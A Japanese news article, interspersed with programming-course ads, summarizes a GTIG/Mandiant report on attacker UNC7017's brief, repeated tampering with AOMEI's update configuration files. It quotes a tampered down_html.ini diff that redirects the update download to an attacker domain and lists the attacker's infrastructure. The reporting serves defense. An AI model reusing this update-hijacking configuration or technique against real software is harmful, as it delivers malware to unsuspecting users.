GTIGとMandiantがAOMEIの更新基盤への攻撃の手口を紹介、攻撃者は設定を5〜10分だけ改ざん

公開：2026年10月23日

CodeCampが提供するDX人材育成が可能なプログラミングやITが学べる公開講座

Google Threat Intelligence Group（GTIG）とMandiantは、AOMEIの更新基盤を狙ったサプライチェーン攻撃を調査しました。攻撃者は2026年4月から7月に設定の改ざんを繰り返し、各改ざんは5〜10分で正規の内容に戻る短時間のものでした。^[1]

この記事では、AOMEIの正規の更新処理が悪用された流れと、攻撃者が切り替えた配布基盤を解説します。影響を受けた範囲に加え、2026年4月から7月にAOMEI BackupperやAnyViewerを使っていた環境で通信記録から確かめる点も整理します。

AOMEIオリジンサーバーで繰り返された設定改ざん
改ざん中に悪用されたAOMEIの更新処理
UNC7017が切り替えた中継・配布基盤
AOMEIの更新基盤への攻撃の影響範囲
2026年4〜7月の利用環境の確認点

AOMEIオリジンサーバーで繰り返された設定改ざん

AOMEI BackupperやAnyViewerは、ABMarketの更新フローで更新通知や販促ポップアップを定期的に確認します。UNC7017として追跡されている攻撃者は、ソフトウェアの脆弱性に頼らずに端末を侵害するため、この正規の更新処理を悪用しました。^[1]

AOMEIの更新メカニズム

ソフトウェアは、更新設定のdown_html.iniに定期的なHTTPSリクエストを送ります。宛先はhttps://www2.aomeisoftware.com/download/abpopup/down_html.iniです。

down_html.iniには、版番号や更新パッケージのMD5ハッシュ、upgrade-now.zipの取得先URLが書かれています。通知設定については、ソフトウェアがhttps://account.aomeitech.com/Notifycfg.iniに接続します。

図1　AOMEIの更新メカニズム

Notifycfg.iniは、ABNotify.exeに表示するメッセージを指示する設定です。ソフトウェアのローカルフォルダーにある、実行するコマンドやプログラムも指定します。

通常時の2つの設定ファイルは、AOMEIのドメインwww2.aomeisoftware.comにある公式ファイルを取得させる内容です。クライアントは既定で更新アーカイブをTmphtmlフォルダーに保存し、ローカルのhtml/フォルダーへ展開します。

直接観測された改ざん枠

GTIGとMETALのテレメトリは、UNC7017が配布サーバーを常に改変せず、短時間の設定改ざんを繰り返したことを示しています。直接観測された改ざん枠は、5月28日の10分や7月16日の6分、7月20日の5分です。

図2　直接観測された改ざん枠の長さ（分）

改ざん枠は2026年に複数確認され、関連するマルウェア検体は4月下旬から観測されています。改ざん中に更新を確認した端末は悪意ある指示を受け、前後に確認した端末は正規のファイルを受け取りました。

図3　改ざん枠の内外で届いた内容

時刻はUTCで、5月28日が05:40〜05:50、7月16日が08:33〜08:39、7月20日が10:35〜10:40でした。各枠の終わりに、UNC7017はdown_html.iniとNotifycfg.iniを正規の内容に戻しています。

GTIGとMandiantは、これほど短い枠のサプライチェーン侵害を初めて確認し、時点ごとの調査や自動のファイルスキャンが回避されたとみています。正規の内容へ戻す手口は、AOMEI側の事後監査を妨げ、防御側が悪意ある応答を捉えられる時間を最小限にするものでした。

Python研修一覧はこちら

目的に合うPython研修を一覧形式から探したい方は、ぜひご利用ください。

Python研修を比較する

Java研修一覧はこちら

目的に合うJava研修を一覧形式から探したい方は、ぜひご利用ください。

Java研修を比較する

PHP研修一覧はこちら

目的に合うPHP研修を一覧形式から探したい方は、ぜひご利用ください。

PHP研修を比較する

新入社員研修

目的に合う新入社員研修を一覧形式から探したい方は、ぜひご利用ください。

新入社員研修を比較する

全ての研修からも探したい方はこちら

改ざん中に悪用されたAOMEIの更新処理

改ざん中、UNC7017はdown_html.iniを書き換え、攻撃者のサーバーから悪意あるZIPを取得させました。Notifycfg.iniも書き換え、自動通知サービスを悪用して、取得したマルウェアを直ちに実行させています。^[1]

図4　改ざん中にマルウェアが実行される流れ

改ざんされた設定が有効な場合、攻撃者はクライアントに初期ダウンローダーのCROSSROADを含む悪意あるZIPを取得させました。CROSSROADは環境の確認と次の部品の配置を担い、スケジュールタスクで常駐し、改ざんされた管理ツール経由でバックドアのSHINYROADを展開します。

7月16日の6分間には、Notifycfg.iniに[dummy_XXXXXX]という設定セクションが35,000行以上挿入されました。肥大化した設定は版の確認を上書きし、版に関係なく更新を起こして、html/フォルダーのCROSSROAD（upgrade-now.exe）を直ちに実行させる構造です。

次のコードは、7月16日のdown_html.iniの改ざん内容で、thridはマイナービルドの版番号です。

[Date]
-Url=https://www2.aomeisoftware.com/download/abpopup/upgrade-now.zip
+Url=https://promotion.storage-data.com/download/abpopup/upgrade-now.zip
Name=upgrade-now
[Version]
maj=8
min=2
-thrid=5
+thrid=6
[MD5]
-Val=EE89C99F3753231771170F5D9CBBAE1E
+Val=31323E7E738230FA6A8DEEF2B7894666

公式資料からの抜粋：Investigating Ephemeral Supply Chain Tampering（Campaign Overview / Weaponizing Native Update Logic: down_html.ini and Configuration Bloat）。対象版・範囲：GTIGとMandiantの調査報告（2026年4月〜7月の攻撃）。

上記のコードでは、Urlの取得先がpromotion.storage-data.comに変わり、thridが6に上がっています。UNC7017は、悪意あるupgrade-now.zipを受け入れさせ展開させるため、改ざんのたびにthridとMD5のValを更新しました。

UNC7017が切り替えた中継・配布基盤

UNC7017は2026年4月から7月に、中継・配布基盤を公開クラウドのバケットと攻撃者が管理する偽装ドメインの間で切り替えました。GTIGとMandiantは、狙いがペイロード配信の試験や正規のベンダー通信への偽装だった可能性が高いとみており、防御側は基盤単位でブロックしにくいとしています。^[1]

Python基礎・実践(Django)

企業・法人向けのPython研修では、基礎から応用まで体系的に学べます。

Python研修の詳細

DX社員研修

企業・法人向けのDX研修では、実務に繋がるリスキリングでITレベルを向上させます。

DX研修の詳細

Javaエンジニア育成研修

企業・法人向けのJavaエンジニア育成研修では、Javaの基礎から応用まで確実に習得できます。

Java研修の詳細

新卒・新入社員向け研修

企業・法人に新入社員・新卒社員に向けたプログラミング研修を提供しています。

新入社員研修の詳細

コードキャンプのIT研修を全て見る

7月上旬までの配布基盤

2026年4月から5月の初期のCROSSROADは、Alibaba Cloud Object Storageを使っていました。2026年7月1日から7日には、攻撃者がベンダーを思わせる専用ドメインへ移行しています。

図5　攻撃者が使った基盤の推移

初期の利用先はserv.oss-cn-hongkong.aliyuncs.comで、5月20日観測のupgrade-now.exeもこの基盤を使っていました。7月1日から7日の専用ドメインは、storage-data.com、promotion.storage-data.com、aomei.storage-data.comです。